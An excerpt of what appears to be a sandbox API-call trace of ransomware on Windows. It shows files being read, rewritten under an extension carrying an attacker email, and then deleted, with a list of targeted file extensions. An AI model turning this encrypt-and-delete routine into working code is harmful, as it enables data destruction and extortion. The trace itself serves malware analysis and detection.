	[0042.695] WriteFile (in: hFile=0x2f8, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x14420, lpOverlapped=0x0) returned 1
	[0042.697] ReadFile (in: hFile=0x304, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.697] WriteFile (in: hFile=0x2f8, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf6, lpOverlapped=0x0) returned 1
	[0042.697] SetEndOfFile (hFile=0x2f8) returned 1
	[0042.697] CloseHandle (hObject=0x2f8) returned 1
	[0042.699] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.699] SetEndOfFile (hFile=0x304) returned 1
	[0042.700] CloseHandle (hObject=0x304) returned 1
	[0042.701] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.701] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1
	[0042.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.701] lstrlenW (lpString=".doc") returned 4
	[0042.701] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.701] lstrlenW (lpString=".docx") returned 5
	[0042.701] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.701] lstrlenW (lpString=".pdf") returned 4
	[0042.701] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.701] lstrlenW (lpString=".xls") returned 4
	[0042.701] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.701] lstrlenW (lpString=".xlsx") returned 5
	[0042.701] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.701] lstrlenW (lpString=".ppt") returned 4
	[0042.701] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.701] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.701] lstrlenW (lpString=".zip") returned 4
	[0042.701] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.701] lstrlenW (lpString=".rar") returned 4
	[0042.701] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.702] lstrlenW (lpString=".bz2") returned 4
	[0042.702] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.702] lstrlenW (lpString=".7z") returned 3
	[0042.702] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.702] lstrlenW (lpString=".dbf") returned 4
	[0042.702] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.702] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.702] lstrlenW (lpString=".1cd") returned 4
	[0042.702] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.707] lstrlenW (lpString=".jpg") returned 4
	[0042.707] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.707] lstrlenW (lpString=".doc") returned 4
	[0042.707] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.707] lstrlenW (lpString=".docx") returned 5
	[0042.707] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.707] lstrlenW (lpString=".pdf") returned 4
	[0042.707] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.707] lstrlenW (lpString=".xls") returned 4
	[0042.707] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.707] lstrlenW (lpString=".xlsx") returned 5
	[0042.707] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.707] lstrlenW (lpString=".ppt") returned 4
	[0042.707] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.707] lstrlenW (lpString=".zip") returned 4
	[0042.707] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.707] lstrlenW (lpString=".rar") returned 4
	[0042.707] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.708] lstrlenW (lpString=".bz2") returned 4
	[0042.708] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.708] lstrlenW (lpString=".7z") returned 3
	[0042.708] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.708] lstrlenW (lpString=".dbf") returned 4
	[0042.708] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.708] lstrlenW (lpString=".1cd") returned 4
	[0042.708] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0042.708] lstrlenW (lpString=".jpg") returned 4
	[0042.708] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.708] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0042.708] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0042.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0042.737] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=72076) returned 1
	[0042.738] CloseHandle (hObject=0x2d0) returned 1
	[0042.738] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80
	[0042.738] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.738] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0042.738] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.738] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.738] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0042.738] GetLastError () returned 0x0
	[0042.738] ReadFile (in: hFile=0x2d0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x1198c, lpOverlapped=0x0) returned 1
	[0042.830] WriteFile (in: hFile=0x300, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x11990, lpOverlapped=0x0) returned 1
	[0042.832] ReadFile (in: hFile=0x2d0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.832] WriteFile (in: hFile=0x300, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf6, lpOverlapped=0x0) returned 1
	[0042.832] SetEndOfFile (hFile=0x300) returned 1
	[0042.832] CloseHandle (hObject=0x300) returned 1
	[0042.834] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.834] SetEndOfFile (hFile=0x2d0) returned 1
	[0042.835] CloseHandle (hObject=0x2d0) returned 1
	[0042.835] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.835] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1
	[0042.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.836] lstrlenW (lpString=".doc") returned 4
	[0042.836] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.836] lstrlenW (lpString=".docx") returned 5
	[0042.836] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.836] lstrlenW (lpString=".pdf") returned 4
	[0042.836] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.836] lstrlenW (lpString=".xls") returned 4
	[0042.836] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.836] lstrlenW (lpString=".xlsx") returned 5
	[0042.836] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.836] lstrlenW (lpString=".ppt") returned 4
	[0042.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.836] lstrlenW (lpString=".zip") returned 4
	[0042.836] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.836] lstrlenW (lpString=".rar") returned 4
	[0042.836] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.836] lstrlenW (lpString=".bz2") returned 4
	[0042.836] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.836] lstrlenW (lpString=".7z") returned 3
	[0042.836] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.836] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.836] lstrlenW (lpString=".dbf") returned 4
	[0042.836] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.837] lstrlenW (lpString=".1cd") returned 4
	[0042.837] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.837] lstrlenW (lpString=".jpg") returned 4
	[0042.837] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.837] lstrlenW (lpString=".doc") returned 4
	[0042.837] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.837] lstrlenW (lpString=".docx") returned 5
	[0042.837] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.837] lstrlenW (lpString=".pdf") returned 4
	[0042.837] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.837] lstrlenW (lpString=".xls") returned 4
	[0042.837] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0042.837] lstrlenW (lpString=".xlsx") returned 5
	[0042.837] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0042.837] lstrlenW (lpString=".ppt") returned 4
	[0042.837] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0042.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.837] lstrlenW (lpString=".zip") returned 4
	[0042.837] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0042.837] lstrlenW (lpString=".rar") returned 4
	[0042.837] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0042.837] lstrlenW (lpString=".bz2") returned 4
	[0042.837] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0042.837] lstrlenW (lpString=".7z") returned 3
	[0042.837] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0042.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.837] lstrlenW (lpString=".dbf") returned 4
	[0042.837] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0042.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.837] lstrlenW (lpString=".1cd") returned 4
	[0042.837] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0042.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0042.837] lstrlenW (lpString=".jpg") returned 4
	[0042.838] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0042.838] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0042.838] lstrlenW (lpString="eula.rtf") returned 8
	[0042.838] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.873] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=3643) returned 1
	[0042.873] CloseHandle (hObject=0x2e4) returned 1
	[0042.873] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80
	[0042.873] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.873] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.874] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.874] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.874] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0042.881] GetLastError () returned 0x0
	[0042.881] ReadFile (in: hFile=0x2e4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xe3b, lpOverlapped=0x0) returned 1
	[0042.913] WriteFile (in: hFile=0x304, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xe40, lpOverlapped=0x0) returned 1
	[0042.914] ReadFile (in: hFile=0x2e4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.914] WriteFile (in: hFile=0x304, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.914] SetEndOfFile (hFile=0x304) returned 1
	[0042.914] CloseHandle (hObject=0x304) returned 1
	[0042.915] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.915] SetEndOfFile (hFile=0x2e4) returned 1
	[0042.916] CloseHandle (hObject=0x2e4) returned 1
	[0042.916] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.916] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 1
	[0042.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.916] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.916] lstrlenW (lpString=".doc") returned 4
	[0042.916] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.916] lstrlenW (lpString=".docx") returned 5
	[0042.916] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.916] lstrlenW (lpString=".pdf") returned 4
	[0042.917] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.917] lstrlenW (lpString=".xls") returned 4
	[0042.917] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.917] lstrlenW (lpString=".xlsx") returned 5
	[0042.917] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.917] lstrlenW (lpString=".ppt") returned 4
	[0042.917] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.917] lstrlenW (lpString=".zip") returned 4
	[0042.917] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.917] lstrlenW (lpString=".rar") returned 4
	[0042.917] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.917] lstrlenW (lpString=".bz2") returned 4
	[0042.917] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.917] lstrlenW (lpString=".7z") returned 3
	[0042.917] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.917] lstrlenW (lpString=".dbf") returned 4
	[0042.917] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.917] lstrlenW (lpString=".1cd") returned 4
	[0042.917] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.917] lstrlenW (lpString=".jpg") returned 4
	[0042.917] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.917] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.917] lstrlenW (lpString=".doc") returned 4
	[0042.917] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.918] lstrlenW (lpString=".docx") returned 5
	[0042.918] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.918] lstrlenW (lpString=".pdf") returned 4
	[0042.918] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.918] lstrlenW (lpString=".xls") returned 4
	[0042.918] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.918] lstrlenW (lpString=".xlsx") returned 5
	[0042.918] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.918] lstrlenW (lpString=".ppt") returned 4
	[0042.918] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.918] lstrlenW (lpString=".zip") returned 4
	[0042.918] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.918] lstrlenW (lpString=".rar") returned 4
	[0042.918] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.918] lstrlenW (lpString=".bz2") returned 4
	[0042.918] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.918] lstrlenW (lpString=".7z") returned 3
	[0042.918] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.918] lstrlenW (lpString=".dbf") returned 4
	[0042.918] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.918] lstrlenW (lpString=".1cd") returned 4
	[0042.918] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.918] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 35
	[0042.918] lstrlenW (lpString=".jpg") returned 4
	[0042.918] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.918] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0042.918] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0042.918] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.919] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=65238) returned 1
	[0042.919] CloseHandle (hObject=0x2e4) returned 1
	[0042.919] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80
	[0042.919] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.919] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.919] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.919] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.919] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0042.919] GetLastError () returned 0x0
	[0042.919] ReadFile (in: hFile=0x2e4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xfed6, lpOverlapped=0x0) returned 1
	[0042.958] WriteFile (in: hFile=0x304, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xfee0, lpOverlapped=0x0) returned 1
	[0042.960] ReadFile (in: hFile=0x2e4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.960] WriteFile (in: hFile=0x304, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xf6, lpOverlapped=0x0) returned 1
	[0042.960] SetEndOfFile (hFile=0x304) returned 1
	[0042.963] CloseHandle (hObject=0x304) returned 1
	[0042.965] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.965] SetEndOfFile (hFile=0x2e4) returned 1
	[0042.966] CloseHandle (hObject=0x2e4) returned 1
	[0042.966] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.966] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1
	[0042.966] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.966] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44
	[0042.966] lstrlenW (lpString=".doc") returned 4
	[0042.967] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0042.967] lstrlenW (lpString=".docx") returned 5
	[0042.967] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0042.967] lstrlenW (lpString=".pdf") returned 4
	[0042.967] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0042.967] lstrlenW (lpString=".xls") returned 4
